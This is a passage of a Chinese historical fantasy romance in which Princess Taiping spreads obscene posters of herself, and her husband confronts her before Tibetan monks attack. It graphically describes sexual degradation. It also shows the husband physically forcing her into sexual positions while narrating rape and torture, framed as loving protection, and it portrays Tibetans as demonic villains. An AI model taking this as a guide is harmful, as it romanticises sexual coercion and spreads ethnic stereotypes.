刘皓南执笔的手几不可察地一顿,终于抬起眼,看向狄仁杰。昏黄灯火下,他眸色深沉,映着跳跃的光:“狄寺丞夤夜独身前来,避开所有耳目,总不会只为与我这待罪之身,探讨弩机射程误差,或是……通报几桩闺秀失踪的案子吧?” 狄仁杰迎上他的目光,片刻,缓缓颔首:“驸马明鉴。刑部耳目,已注意到公主府与失踪案的微妙关联。裴尚书对此,兴致颇浓。” 他话锋陡然一转,语速稍快,“然,眼下最急迫者,并非此案,亦非□□外泄——” 他话音未落,侧耳似捕捉到极远处廊下传来的、规律而沉重的官靴脚步声,由远及近。狄仁杰面色微凝,倏然起身,向刘皓南极快、却端正地躬身一揖: “寺卿张公将至,下官职责在身,不便久留,先行告退。驸马……保重。” 说罢,那袭素麻衣袍如一抹青烟,悄无声息地没入厢房内柱后的阴影之中,仿佛从未出现过。唯有银链因刘皓南细微的动作,发出“叮”一声极轻的脆响,在重新归于死寂的厢房里,格外清晰。炭笔刮过粗糙草纸的“沙沙”声复又响起,单调而绵长。 片刻后。 厢房沉重的木门被“哐”一声推开,夜风卷入,带得灯火剧烈摇晃。大理寺卿张文瓘面色铁青,手持金鱼符,大步直入。他甚至未看刘皓南一眼,径直来到案前,将怀中紧紧攥着的一卷绢布,“唰”地一声,在刘皓南面前猛地展开! 绢布质地细密,其上以工笔重彩,绘着一幅极其不堪、却又精细到令人毛骨悚然的画面。 画面中央,一名女子以极度屈辱,名为“仰莲承露”的姿势俯跪于一巨大狰狞的曼荼罗(坛城)图案中心。女子全身赤裸,纤毫毕现。尤其令人心惊的是,画师以朱砂混合某种莹光颜料,将她身上数处极为私密的特征,精准无误、甚至加以夸大地勾勒出来——腰侧靠近髋骨处,一枚形如展翅蝴蝶的淡红色胎记;颈侧一粒鲜红欲滴的朱砂小痣;左脚踝内侧,一道幼时被碎瓷所划、形如新月般的浅白色旧疤;甚至……左胸下方,极为隐秘之处,一粒只有最亲近之人方有可能知晓的、米粒大小的赤色小痣! 刘皓南的瞳孔,在看清这些特征的刹那,骤然收缩如针尖!这女子面容虽有修饰,略显模糊,但这几处身体特征……分明是太平!唯有太平! 画面旁,以扭曲的吐蕃文字,书写着大段俚语,字句粗野□□,充满了最下流的意淫与侮辱: “夜伺十神佛,牦牛鞭下化甘露……文成公主当年若肯敞开胸怀,纳我吐蕃十位高僧轮番‘修行’,广施‘法雨’,何至于终身无出,寂寞终老?可见唐女不识真佛,空负妙器……” 这已不仅仅是羞辱,这是将文成公主的历史与太平个人进行最恶毒的嫁接与亵渎! 然而,更令人骇然欲绝的还在后面。 这并非单幅画。张文瓘手指颤抖着,将绢布向后展开——后面赫然连着五幅尺寸稍小、却同样精细的“双修”变势图!从“骑乘倒莲式”到“蛇缠枯树”、“反弓望月”、“倒悬金钟”,直至最末的“叠股承露”。每一幅图中女子的面容,皆清晰绘作太平的模样,眉眼传情,痛苦与迷醉交织。 最令人发指的是,在这些图的旁边,画师竟以唐制尺寸(寸、分)与吐蕃指距(约略尺寸)两种计量单位,在女子身体的敏感部位旁边,标注出详细的“尺寸”与“承受刻度”!旁书之吐蕃文字更是猖狂到极点: “此等天生尤物,合该献予我赞誉(赞普)为‘明妃’(密宗双修女性伴侣),白日轮换三势以炼药,夜间侍奉十僧以增功……” 而最末那幅“叠股承露”图中,画师以朱红重彩,特意勾勒出女子承欢时极度痛苦、脖颈后仰、张口似泣无泪的神情,旁注一行小字,字字如刀,剜心刺骨: “啼血如莺,哀转不绝,方为极品炉鼎。” “咔嚓!” 刘皓南腕间那条特制的银链,竟被他骤然爆发的、无法控制的巨力,硬生生绷断!银链断裂处,在他腕骨上勒出一道深陷的血痕。他猛地抬头,眼中瞬间布满骇人的血丝,声音因极致的愤怒与惊骇而嘶哑变形: “此物——从何而来?!” 张文瓘脸色灰败,声音寒如数九坚冰,每个字都带着沉重的无力与后怕:“今日晨起,西市十三处坊门,东市八家最大酒肆、茶楼门口……皆被人张贴此画摹本,粗略统计,不下百余份!东市‘醉仙居’酒楼门前,更悬有三尺巨幅,以细铁丝固定,往来行人,尽皆目睹!画上墨迹犹新,显是连夜赶制张贴!” 他深吸一口气,仿佛接下来的话更难启齿:“吐蕃使团……已于三日前秘密抵京,入住鸿胪寺别馆。此画……此画之上,非但那些私密印记分毫不差,连……连公主殿下左肩胛下,旧年因流矢所伤、愈合后留下的一处极淡的斜长疤痕……都被精准绘出!此等隐秘,纵是贴身侍女,若非沐浴时极近、极仔细察看,亦难察觉。朝中已有议论……恐、恐有内应,曾窥见……殿下玉体……” “咔!” 一声脆响,刘皓南手中那支坚硬的炭笔,竟被他硬生生在掌心折断!漆黑的炭末混着尖锐的木刺,扎入他掌心皮肉,墨汁般的黑红液体瞬间渗出,洇透了手下摊开的□□,宛如一滩绝望的血渍。 他猛地站起身,断裂的银链拖在身后叮当作响,双目赤红,死死盯着张文瓘,一字一顿,声音如同地狱刮出的阴风: “张公!助我!易装出狱!现在!” 戌时三刻,公主府。 一道身着普通金吾卫制式玄甲、压低兜鍪的身影,借着夜色与府中因年节将近、人员往来繁杂的掩护,悄然潜入公主府寝殿区域。动作迅捷如狸猫,对府内岗哨与巡逻路径似乎了如指掌。 寝殿内,烛火高烧,暖香氤氲。太平独自一人,身着家常的杏子红软缎寝衣,披散着长发,正对着一面巨大的鎏金鸾衔牡丹镜,执着细狼毫笔,在一张铺开的宣纸上,细细描摹。 纸上,是一幅男子的半身画像。青衫玉冠,眉目清朗,负手而立,目光沉静地望向画外,正是刘皓南初入长安、参加曲江宴时的模样。彼时他尚带几分边塞风霜与疏离,眼神却已睿智深邃。太平笔尖凝神,正勾勒他眉峰那一抹惯常的、微蹙的沉思弧度。 铜镜光滑如水的镜面,在此刻,清晰地映出了自她身后悄然接近、无声推开虚掩殿门的那道身影。 “哐当——!” 笔架被骤然扫落的衣袖带倒,上好的湖笔与玉管滚落一地。太平如受惊的鹿,霍然起身转身,锦缎衣袖拂过妆台,将一只半开的胭脂玛瑙盒扫翻,嫣红的朱砂膏泼洒出来,染红了半张紫檀案面,也溅上了她洁白的寝衣袖口与手背,刺目惊心。 “薛……薛绍?!” 她瞪大双眼,脸上血色瞬间褪尽,嘴唇颤抖,“你……你不是该在大理寺待审厢房……你怎么……” “臣是该在牢里,等着被那些‘证据确凿’的图纸,和这满长安飞散的污秽画片,钉死在叛国、渎职、乃至纵妻行凶的罪名上,引颈就戮。” 刘皓南反手,“咔哒”一声扣死了寝殿大门的黄花梨木门栓。他一步步逼近,阴影随着他的移动,缓缓笼罩住太平惊惶失色的面容。他抬起左手,腕间那道因强行绷断特制银链而留下的、红肿泛紫的深深勒痕,在烛光下狰狞可见。 他停在她面前一步之遥,目光如冰锥,刺入她眼底最深处,声音压得极低,却字字如重锤: “那幅画——腰侧那枚蝶形胎记,颈间那粒朱砂痣,左胸下……那点只有你我与你的贴身侍女拂云知晓的赤色小痣……” 他每说一处,太平的脸色就白上一分,身体无法控制地微微颤抖,“除了你,我,拂云,这天下,还有第四个人知道么?嗯?!” 太平如遭雷击,踉跄着向后退去,小腿撞上身后的绣墩,整个人失去平衡,惊呼一声向后跌坐在地,绣墩翻倒,发出沉闷的响声。 “你……你看了那些画……” 她声音飘忽,带着无法置信的惊惧。 “看?” 刘皓南几乎是低吼出来,额角青筋暴起,“何止是我!全长安城,从东市到西市,从达官显贵到走卒贩夫,只要长了眼睛的,都看到了!西市十三处坊门,贴了不下百份!东市‘醉仙居’门口,三尺巨幅高高悬挂,往来行人指指点点,嬉笑怒骂!张文瓘将那沾着孩童唾沫星子、被人踩踏过、边角污秽不堪的画绢摔到我面前时——太平!你告诉我,我该如何?!” 最后一句,他几乎是嘶吼出声,压抑了整日的怒火、惊惶、后怕,与对她如此行险的震怒,轰然爆发。 “我只……我只让人散了……三五十张……” 太平瘫坐在地,仰头看着他可怖的脸色,声音细如蚊蚋,颤抖得不成样子,“画师……是掖庭宫退下来的老画匠,耳聋眼花,我让他……让他照着年前吐蕃进贡的那批舞女里,最像我的那个的脸改……只留了……七分眉眼相似……那些、那些胎记……是、是我用胭脂调了胶,点在干净的绢上,拓……拓印上去的……” “拓印?” 刘皓南从怀中猛地扯出那卷张文瓘给他的绢布副本,就着跳动的烛火,在太平面前“唰”地展开。他手指狠狠点向画中女子腰侧那枚“蝶形胎记”,“你看清楚!这边缘的晕染痕迹!这是‘拓印’?这是生怕别人看不仔细,特意用胭脂渲染强调!” 他手指上移,指向她颈间那点朱痣,声音压得更低,却字字如刀:“还有这里!你以为这是秘密?裴炎——当朝刑部尚书,早就盯上你了!他不知从何处翻出了一份太医署的绝密旧档——那是你三岁出痘,高烧不退,先帝急召全体太医会诊留下的脉案!上面白纸黑字写着‘帝女腰侧有赤蝶胎记,大如铜钱,乃胎中带来’!裴炎门下,正养着一个从太医署退下来的老供奉,当年就是他亲手录的这份脉案!人证物证俱在,你还如何抵赖?” 他的指尖,最后重重戳在画中女子裸露的脖颈上,那里绘着一点鲜艳朱砂:“至于这颗痣——去岁重阳宫宴,你簪着那支新打的累丝金凤衔珠步摇,向帝后敬酒时,衣领松了半分,这痣恰好露出来一瞬!当时坐在你对面的,是谁?是吐蕃正使论钦陵的副手,专司记录唐宫礼仪细节的论多吉!他盯了你整整一晚!” 寝殿内,死一般的寂静。唯有铜壶滴漏,发出规律而冰冷的“嗒、嗒、嗒”声,每一声,都像重锤,狠狠敲在太平骤然收缩、几乎停止跳动的心尖上。她脸上最后一丝血色也褪尽了,嘴唇翕动,却发不出任何声音,只有大颗大颗的泪珠,毫无预兆地滚落,混着颊边沾染的朱砂,在脸上划出狼狈凄艳的痕迹。 刘皓南胸膛剧烈起伏,盯着她看了许久,那滔天的怒火渐渐被一种更深的、混合着心痛、后怕与无尽疲惫的情绪取代。他缓缓蹲下身,与瘫坐在地的她平视,声音嘶哑得如同粗粝的砂纸磨过喉管: “殿下,” 他唤她,语气沉重如山,“你到底……想做什么?你到底知不知道,你在玩火?你在拿你自己的名声、清白、性命,乃至整个大唐皇室的脸面,在玩火!” 太平跌坐在冰冷的地板上,手指无意识地、死死绞着寝衣腰间的丝绦,仿佛那是最后一根救命稻草。烛火在她脸上投下摇曳的光与影,将她强撑的镇定、狡黠、乃至任性,寸寸剥落,露出内里深藏的恐惧、无助,与一丝被逼到绝境的倔强。 “……” 她沉默了很久,久到更漏又滴下数声。终于,她抬起被泪水模糊的眼,视线却没有焦点,望向虚空中的某一点,声音轻得仿佛随时会散在风里: “……那七个女子。” 她开始说话,语速很慢,每个字都像是从冻僵的唇齿间艰难挤出: “郑三娘……她嫡母要把她嫁给范阳卢氏那个……那个虐杀过三房妾室的老族长,就因为她擅蛊毒,她嫡母怕她,又贪卢氏的聘礼。” “杜五娘……她是李淳风李师叔那位早逝师妹的独女。她家族逼她,给太原王氏那个有龙阳之好、前头妻子死得不明不白的长子做填房,就为了攀附王氏,替她族兄谋个外放实缺。” “卢七娘……她通龟卜,善谶纬。她父亲……是要将她送给长安的韦氏一族。韦家打算用她这份“本事”作为晋身之阶,将她送进后宫,去侍奉某位能直达天听的贵人,说穿了,就是要用她的命,去给韦家搭上天后的线。” 太平的眼泪又涌了出来,这次是无声的,只是顺着脸颊不停流淌: “她们来找我哭……在我面前跪下,磕头,额头都磕破了,流着血求我救命……我能怎么办?我能怎么办?!” 她猛地抬眼,看向刘皓南,眼中是破碎的痛苦与不甘: “告诉她们《女则》《女诫》里写的,女子当逆来顺受,嫁鸡随鸡嫁狗随狗?还是去求母后,让她下旨,逼那些盘根错节,利益纠缠的世家大族,放过这些‘不守妇道’、‘身怀异术’的娘子?母后会管吗?她能管得过来吗?她就算管了,下一批呢?下下一批呢?!” 刘皓南沉默地看着她,看着她眼中翻涌的绝望与一种近乎天真的、试图反抗的勇气。 “散画……散那些画,是我能想到的……最快的法子。” 太平抹了把脸,袖口瞬间湿透,声音带着哽咽后的沙哑,“画得越不堪,越污秽,朝堂上那些最看重脸面、最怕皇室丑闻的老臣,越会拼了命地遮掩!他们是绝不会让‘太平公主受吐蕃如此羞辱’的丑事,闹到吐蕃使团面前,闹到天下皆知!” 她吸了吸鼻子,努力让自己的声音听起来更有条理:“只要他们急了,慌了,就会用最快的速度结案,放你出来,也会用最大的力气,去搜捕那个根本不存在的、胆敢散播公主艳画的‘吐蕃细作’……这样一来,所有人的注意力都会被引开,那七个女子……就有机会……” “然后呢?” 刘皓南打断她,声音冰冷,没有丝毫动容,“你用自己做饵,画这么一幅恨不得告诉全天下你身上有几颗痣的画,引吐蕃人来‘掳掠’你——好让那七个女子趁机假死脱身,把一切罪名,都顺理成章地推到虚无缥缈的‘吐蕃妖僧’头上?殿下,你当吐蕃人是你公主府里养的猧儿,召之即来挥之即去?你当满朝文武,都是瞎子、傻子?!” “我有杜娘子!” 太平急急辩驳,眼中闪过一丝希冀的光,“她是李师叔的小师妹,武功虽不及你,但轻功卓绝,道法玄妙,最擅藏匿、遁逃、制造幻象!公主府还有三百精锐护卫,只要吐蕃人敢来,只要他们敢踏进公主府一步……” “只要他们敢来?” 刘皓南忽然笑了,那笑容冰冷刺骨,没有一丝温度,眼中是深不见底的寒潭,“殿下,你见过真正的吐蕃苯教上师吗?不是鸿胪寺里那些吃斋念佛、会说几句汉语的僧人,是真正修‘夺舍法’、‘炼尸术’、手握人骨法器、以血肉供奉的密宗妖僧!” 他逼近一步,气息喷在她惨白的脸上: “他们能操控刚死不久的尸傀,行动如生,刀枪难伤;能用特制的骨铃摇出摄魂魔音,让人心智崩溃,自相残杀;能在一夜之间,用邪术让整座村庄的人陷入疯狂幻境,直至力竭而死!杜娘子的道法再精妙,能同时护住你,护住那七个手无缚鸡之力的女子,还能抵挡不知会从何处、以何种方式出现的苯教妖术吗?!” 太平被他话语中描绘的可怖景象骇住,瞳孔放大,身体不由自主地往后缩了缩,手指深深掐进掌心,掐出了血痕犹不自知。 “还有你散出去的那些画,” 刘皓南一把抓起地上那卷绢布,再次在她面前抖开,手指狠狠戳着那些□□的吐蕃文字标注,“你看清楚这上面写的什么!‘此等尤物,合该献赞普为明妃,日换三势,夜侍十僧’——殿下,你知道吐蕃密宗所谓的‘明妃’,所谓的‘夜侍十僧’,是什么意思吗?嗯?!” 他眼中翻腾着骇人的风暴,那是后怕到极致后衍生出的,近乎毁灭的怒意。他必须让她知道,她招惹的是什么,她把自己置于了何等危险、何等不堪的境地!他必须吓住她,让她从此绝了这等疯狂的念头! “我……我不知道……我不想知道……” 太平被他眼中从未有过的暴戾惊得心胆俱裂,下意识地摇头,想要后退,身后却是冰冷的墙壁。 “不知道?那我告诉你!” 刘皓南猛地伸手,一把扣住她单薄的肩膀,将她从地上拖起来! “放开我!薛绍你疯了吗?!” 太平惊叫挣扎,却被他铁箍般的手死死按住。 他不再废话,将她半拖半拽地按倒在旁边那张宽阔的紫檀木书案上。案上未收的笔墨纸砚、镇纸笔架,被他手臂一扫,哗啦啦尽数摔落在地,一片狼藉。太平半边身子被迫伏在冰凉坚硬的案面上,挣扎间,襦裙的系带松脱,衣襟散乱。 “第一势,你画上的,‘骑乘倒莲’。” 刘皓南声音冷硬如铁,没有丝毫情欲,只有冰冷的陈述与恫吓。他单手扳起她的右腿,以不容抗拒的力道,强行将她的腿向后反折,膝盖几乎压到肩胛。这个姿势让她髋骨被迫大张,以一种极其屈辱脆弱的姿态,抵在坚硬的案沿。他并未真正触碰她,只是用自己屈起的膝盖,隔着两人单薄的衣物,死死抵在她腿心,缓缓施压、磨蹭。 “明妃需单腿反折如弓,另一腿跪地承重——全程不得出声,不得挣扎,否则……” 他贴在她耳边,气息冰冷,“便会有烧红的铜铃,穿锁骨而过。铃响一声,换一僧。直至铃声寂灭,或人亡。” 太平浑身剧颤,那层薄薄的绸裤根本阻隔不了他膝盖的力度与压迫感,更阻隔不了他话语中描绘的、令人作呕的恐怖。屈辱、恐惧、还有一丝陌生的、被如此粗暴对待的刺痛,让她瞬间窒息,胃里翻江倒海,指尖深深抠进光滑的案面木纹,留下道道白痕。 “第二势,‘蛇缠金刚’。” 不待她喘息,他骤然发力,将她整个人翻转过来,腰肢被他强行向后反折,弯成一个惊心动魄、仿佛随时会折断的弧度。太平痛呼出声,却被他另一只手死死捂住了嘴,所有声音化作闷在掌心的呜咽。他一只手从她腋下穿过,铁钳般按在她平坦紧绷的小腹上,将她整个人牢牢压向自己。他的身体紧密地贴着她的后背,胸膛的起伏、腿部的力量,透过层层衣料,清晰无比地传递过来,形成一个极具侵略性与控制性的禁锢姿态。 “此势需腰臀反弓如满月,全身重量悬于一点。撑不住者,姿态稍懈——” 他冰冷的声音继续在她耳边响起,如同毒蛇吐信,“会有成年男子手腕粗细的牦牛鞭,浸了盐水,抽在脊骨最脆弱处。一鞭,皮开肉绽;三鞭,骨裂筋断。直至姿态‘标准’,或人成一摊烂泥。” 泪水汹涌而出,模糊了太平的视线,咸涩的液体流进他被捂住的口中,混合着无尽的恐惧。 “第三势,‘倒挂金钟’。” 刘皓南松开捂她嘴的手,却迅疾握住她两只脚踝,猛地发力,竟将她整个人头下脚上地倒提起来。血液瞬间逆冲向头顶,眼前阵阵发黑,金星乱冒。她像一件物品般被悬在案边,长发垂落,扫过地面狼藉。他靠近,温热的吐息喷在她因倒悬而充血、脆弱无比的脖颈与耳侧,身体若有若无地擦过她悬空战栗的腰肢和被迫挺起的胸脯。 “此势最损女子胞宫,气血逆行。半数‘明妃’倒悬不过一炷香,便会因气血冲撞,子肠脱垂……届时,那些番僧不会救治,只会冷漠宣判:是佛母嫌弃这肉身污秽、不洁,故而弃之。” “不……不要了……薛绍……求求你……不要说了……不要……” 她崩溃地哭求,声音支离破碎,充满了最真切的恐惧。她从未见过这样的刘皓南,如此冷酷,如此残忍,如此……陌生。那些话语描绘的景象,比任何噩梦都要可怕。 “第四势,‘反弓衔月’。” 他仿佛没听见她的求饶,松手让她跌落,却又在她即将摔在冰冷狼藉的地面之前,猛地捞住她的腰,将她腰臀悬空架在坚硬的案沿。她的双腿被他强行折向胸前,膝盖几乎抵到下巴,小腹与最脆弱的部位完全暴露在外,以一个极其屈辱且痛苦的姿势固定在案边。他单膝强势地抵入她被迫大张的腿间,身体前倾,形成一个更具压迫感的压制姿态,两人衣物摩擦发出的窸窣声,在死寂的寝殿里被无限放大,每一声都敲打在她濒临崩溃的神经上。 “经历过此势的女子,十有八九,终其一生,再无法孕育子嗣。” 他的声音依旧冰冷,如同在宣读判决,“并非只因胞宫受损,更多是……精神彻底崩溃。见男子便尖叫抽搐,屎尿失禁,形同疯癫。最终,被视作无用‘废器’,丢去喂食獒犬。” 太平已哭不出声音,只是睁大了空洞绝望的眼睛,泪水无声地疯狂流淌,身体在他压制下不住地细密颤抖,仿佛每一寸肌肤、每一根骨骼,都在承受着那想象中酷刑的凌迟。 “最后一势,‘叠股承露’。” 刘皓南终于松开了所有钳制她的力道。她如同被抽去所有骨头的偶人,瘫软滑落,跌坐在冰冷狼藉的地面上,蜷缩成一团,不住地颤抖。他蹲下身,看着她惨白如纸、泪痕狼藉的脸,和她下意识护住小腹、蜷缩自卫的姿态,眼中翻涌的暴戾与后怕,终于被一片深不见底的疲惫与心痛取代。但他的声音,依旧平稳而残忍,为她补上最后一刀: “需双腿反折至极限,蜷缩如胎儿,全身门户大开。十名番僧,轮番上前‘修行’……会有专人在旁,以骨铃计数,满百次方休。结束后,以特制金针,刺入女子奇经八脉要穴,锁其气血,固其形态……令其终身为修法‘炉鼎’,直至气血枯竭,形容槁枯而死。” “别说了……我知错了……我真的知错了……我不该……我不该……” 太平把脸深深埋进自己的臂弯,身体剧烈地哆嗦着,语无伦次地重复,仿佛那些想象中的恐怖,已穿透衣物与肌肤,深深烙印进她的灵魂,带来永不磨灭的寒意。 刘皓南沉默地看了她许久。寝殿内,只有她压抑不住的、断断续续的抽泣声,和他沉重而缓慢的呼吸声。 终于,他伸出手,动作是截然不同的轻柔与小心翼翼,将她颤抖不止、蜷缩成一团的身体,从冰冷的地面上抱起来。像捧着一件失而复得、却已布满裂痕的稀世瓷器。他走到榻边坐下,将她揽在怀中,让她靠在自己胸前。指尖极轻、极缓地拂开她汗湿凌乱、黏在颊边的鬓发,然后用自己微湿的袖口,一点一点,仔细地擦去她脸上纵横交错的泪痕,花掉的胭脂,以及蹭上的墨迹与灰尘。 “殿下,” 他低沉的声音在她头顶响起,带着经历巨大情绪波动后的喑哑,与一丝不易察觉的颤抖,“这世间的魑魅魍魉,人心的叵测险恶,远比你坐在公主府锦绣堆里想象的,要可怕千倍、万倍。” 他将她抱得更紧了些,仿佛要借由这个拥抱,将方才自己施加于她的那些恐怖言辞带来的寒意驱散,也将她那些不切实际的冒险念头彻底扼杀。 “你拿自己去赌……” 他顿了顿,声音低得几不可闻,却带着一种斩钉截铁的决绝,“我会疯。” 太平没有回答。她只是更紧、更用力地攥住了他胸前的衣襟,将脸深深埋进去,汲取着他身上熟悉的气息与温度,仿佛那是惊涛骇浪中唯一的浮木。身体依旧在细细地颤抖,那是恐惧深入骨髓后的余韵。 窗外,传来三更鼓声,沉闷悠长,穿透寒夜。 “咚——咚——咚——” 更鼓的余音,尚未在寂静的皇城上空完全消散。 “轰!!!” “咔嚓!咔嚓!咔嚓——!” 寝殿四面紧闭的雕花长窗,连同坚固的窗棂,在同一瞬间,被一股狂暴无比的力量从外向内,轰然震碎!木屑纷飞,窗纸撕裂,寒风裹挟着雪花与浓烈的、混合着檀香与血腥的诡异气息,狂涌而入! 八道高矮不一、却同样迅捷如鬼魅的身影,踏着某种诡异而规律的七星步点,自破开的窗口闪电般掠入殿内。为首一人,身形极为高大魁梧,几乎堵住了大半扇破窗的光线。他身披一袭猩红如凝固鲜血的密宗喇嘛袈裟,头顶戴着高高耸起、饰有骷髅与金翅鸟的法冠。面容黝黑粗糙,鹰鼻深目,一双眼睛在昏暗跳动的烛光下,闪烁着野兽般残忍而狂热的光芒,牢牢锁定在太平惊骇失色的脸上。 正是吐蕃苯教上师,摩柯衍。 他目光如鹰隼,扫过一片狼藉的殿内,最终定格在太平惊惶的脸上,咧开嘴,露出一口被酥油与赭石常年浸染成暗红色,宛如陈旧骨器的牙齿。声音嘶哑怪异,却带着一种不容置疑的威严与恶意,用生硬的汉语说道: “太平公主殿下……吾赞誉(赞普),久闻殿下‘明妃’资质天成,特命小僧等,前来恭请殿下,移驾逻些(拉萨)圣城,‘共参’无上密法——” 话音未落! 刘皓南已动了! 在摩柯衍最后一个音节吐出的刹那,刘皓南一直垂在身侧、拢在袖中的右手,如闪电般探出!袖中滑出的,并非刀剑,竟是那截他在大理寺厢房内、于盛怒下生生折断的炭笔!半截笔身,乌黑尖锐,在他灌注了精纯内力的一掷之下,发出短促凄厉的破空之声,笔尖如毒龙出洞,直取摩柯衍胸前膻中大穴!这一下,毫无花巧,只有快、准、狠,凝聚了他此刻所有的惊怒、杀意与守护的决心。 然而,摩柯衍看似身形魁梧笨重,反应却快得不可思议。他并未闪避,只是口中发出一声短促古怪的音节,身上那袭猩红袈裟无风自动,猛然鼓荡起来,仿佛充了气一般!同时,他宽大的袖袍一抖—— “叮铃铃——!” 七枚大小不一,颜色惨白,显然是以人骨精心磨制而成的小铃铛,自他袖中激射而出!,。并非射向刘皓南,而是在空中划过诡异的弧线,相互碰撞、缠绕,瞬间布成了一个首尾相连、不断旋转、发出连绵不绝、钻脑魔音的诡异阵型,正好挡在炭笔之前! 苯教秘术——“摄魂迷踪阵”! 骨铃发出的声音,并非清脆,而是一种混合了无数人临死前哀嚎、诅咒、哭泣的诡异杂音,直接钻入耳膜,直冲识海!铃声入耳的刹那,太平只觉脑袋“嗡”的一声,眼前景象骤然扭曲、变幻! 她仿佛看见无数赤裸的女子,在鲜血绘就的曼荼罗中央哀嚎翻滚;看见碗口粗的牦牛鞭,带着呼啸的风声,狠狠抽在雪白的背脊上,皮开肉绽,骨裂声声;看见烧红的金针,闪烁着残忍的光,缓缓刺向柔软的小腹…… 幻象丛生,心智几乎失守。 “闭眼!凝神!守丹田!” 一声清越冷冽的叱喝,如同冰雪灌顶,骤然在太平耳边炸响! 一道靛青色的身影,如轻烟,又如鬼魅,自寝殿内侧的帷幕后无声掠出。正是杜娘子。她显然早已潜伏在侧。只见她双手疾挥,袖中飞出七道以朱砂画就、灵光湛湛的黄色符箓,符箓在空中“噗”地一声无火自燃,瞬间连成一道灼热的火墙,暂时阻隔了那摄魂魔音的侵袭。 杜娘子一手迅疾如电,揽住眼神涣散、几欲软倒的太平腰肢,另一手已然捏诀,脚下步法变幻,踏出玄奥的禹步——正是道门秘传的“缩地成寸”之术!欲要带着太平,先行脱离这是非之地! “带她走!密道!” 刘皓南头也不回,嘶声下令。他全部心神已锁定那七枚诡异旋转的骨铃,与铃后的摩柯衍。那截炭笔,撞上骨铃阵的瞬间,竟被一股阴柔诡异的力量带偏,“嗤”一声深深没入旁边的蟠龙金柱,直没至柄! 刘皓南眼神一厉,毫不迟疑,右手并指如剑,毫不犹豫地在左手掌心飞速划过。鲜血涌出,他竟以血为媒,以指代笔,在虚空中疾书。鲜血并未滴落,反而随着他指尖的舞动,在空中凝而不散,瞬息之间,竟勾勒出一道光芒流转、阴阳双鱼缓缓旋转的血色太极图。道门秘法——血符辟邪。 图成刹那,凛然正气与至阳血气轰然爆发。那七枚旋转不休的骨铃,发出的魔音为之一滞,旋转的速度也明显慢了一瞬! “哼!中土道法?雕虫小技!” 摩柯衍眼中凶光大盛,不惊反笑,笑声嘶哑狂放,“今日,便让你这唐狗驸马,好生见识见识,我吐蕃密宗,真正的‘大神通’!” 他不再理会那暂时被阻的骨铃阵,双手于胸前急速翻飞,结出一个又一个繁复诡异、充满蛮荒邪恶气息的手印。随着他手印的变化,其身后虚空之中,竟隐隐浮现出一尊三头六臂,青面獠牙,分持各种法器,充满无尽威压与邪气的巨大虚影。虽是虚影,那恐怖的威压却已如有实质,令寝殿内空气都仿佛凝固了! 密宗秘法——忿怒明王法相显化! 那六只虚幻的手臂,各自结出不同的密宗手印——施无畏印、与愿印、触地印、禅定印、□□印、降魔印。六印蕴含的磅礴、诡异、混乱的力量交织在一起,尚未完全发出,寝殿内已平地起阴风,檀香与浓烈的血腥气疯狂弥漫,地面铺陈的厚实青砖,竟发出不堪重负的“咔嚓”声,以摩柯衍为中心,向四周寸寸龟裂蔓延。 刘皓南瞳孔骤缩。他身负三十年玄门正宗内力,修为精湛,但对吐蕃密宗这等诡异绝伦、迥异于中原武学道法的秘术,却是首次亲身面对。那法相虚影带来的精神压迫与手印中蕴含的阴毒劲力,让他心头警铃大作。但他身形挺拔如松,半步不退,将身后正在施展遁术的杜娘子与太平,死死护住。 “杜娘子,快!” 他再次厉喝,体内真气奔腾如江河,尽数灌注于双掌,掌心那抹血色太极图光芒更盛,悍然迎向那缓缓压来的、结着六大手印的忿怒明王虚影。 “砰——!” 无声的碰撞,却爆发出惊天动地的巨响。并非实体相接,而是两股截然不同、一正一邪的磅礴能量在虚空中狠狠对撞。气浪以两人为中心,猛地向四周炸开!殿内剩余的完好烛台齐齐熄灭,帷幔狂舞,家具倾倒,一片飞沙走石! 刘皓南闷哼一声,身形晃了晃,嘴角溢出一丝鲜血。那明王虚影的六大手印,力量诡异阴毒,竟能透过他护体真气,直撼心神脏腑。但他眼神锐利如初,脚下生根,死死钉在原地,竟真的凭一己之力,硬生生挡住了这第一波,也是最强的冲击。 “你撑不住的!这妖僧法力古怪!” 杜娘子急道,她一手维持着遁术,另一手连连挥出,袖中又飞出数道闪烁着雷光的符箓,射向摩柯衍,欲要干扰。然而,其余七名随摩柯衍闯入的番僧,已然结成某种战阵,各持骨杖、人皮鼓、胫骨号等诡异法器,口中念念有词,竟将杜娘子的符箓攻击大半挡下,更隐隐形成合围之势,将她与太平的退路隐隐封住! 摩柯衍见刘皓南竟能正面硬撼自己显化的法相手印而未当场溃败,眼中掠过一丝诧异,随即被更浓的杀意取代。他喉咙里发出一声不似人声的低吼,竟趁刘皓南气血翻腾、旧力已尽新力未生之际,猛地欺身近前,不再依赖法相远程攻击,而是蒲扇般的大手,带着腥风与隐隐的黑气,一掌直拍刘皓南心口。这一掌,看似朴实无华,却将密宗“大手印”的刚猛霸道与阴毒腐蚀之力,凝聚于一点。 刘皓南战斗经验何等丰富,虽惊不乱,于间不容发之际侧身拧腰,险险避过胸口要害,同时右手食指中指并拢,如剑如凿,反手一记凌厉无比的“凿石问路”,点向摩柯衍毫无防护的咽喉。这一下,是攻敌之必救,亦是两败俱伤的打法。 “雕虫小技!” 摩柯衍冷笑,竟不闪不避,只是脖颈肌肉诡异地一扭,同时左腿如毒蝎摆尾,悄无声息地自一个极其刁钻的角度,撩向刘皓南下阴。竟是虚招诱敌,暗藏杀机。 刘皓南识破其奸,点向咽喉的手指倏地变招为掌,向下一切,同时左腿如鞭,迎着对方撩来的腿,狠狠扫去!正是少林绝学“金刚腿”中的一招“横扫千军”! “砰!!!” 又是一声令人牙酸的、腿骨与腿骨硬碰硬的闷响。两人身形同时一晃,各自后退半步。刘皓南只觉左腿胫骨传来一阵剧痛与酸麻,那番僧的腿竟坚硬如铁,力道更是阴狠刁钻,饶是他内力深厚,硬接这一下,气血也是一阵剧烈翻涌,喉头腥甜。而摩柯衍亦是脸色微变,眼中凶光更盛,显然刘皓南的功力与应变,远超他预估。 “薛绍!” 太平被杜娘子护在怀中,眼见刘皓南嘴角溢血,硬撼之下似吃了暗亏,不由得失声惊叫,心胆俱裂。 就在这电光石火、双方气机牵引、心神皆系于对方刹那—— 摩柯衍眼中,骤然掠过一丝疯狂而决绝的凶光!他忽然暴喝一声,竟不再抢攻,反而猛地向后一跃,双手抓住自己猩红袈裟的领口,狠狠向两旁一撕。 “刺啦——!” 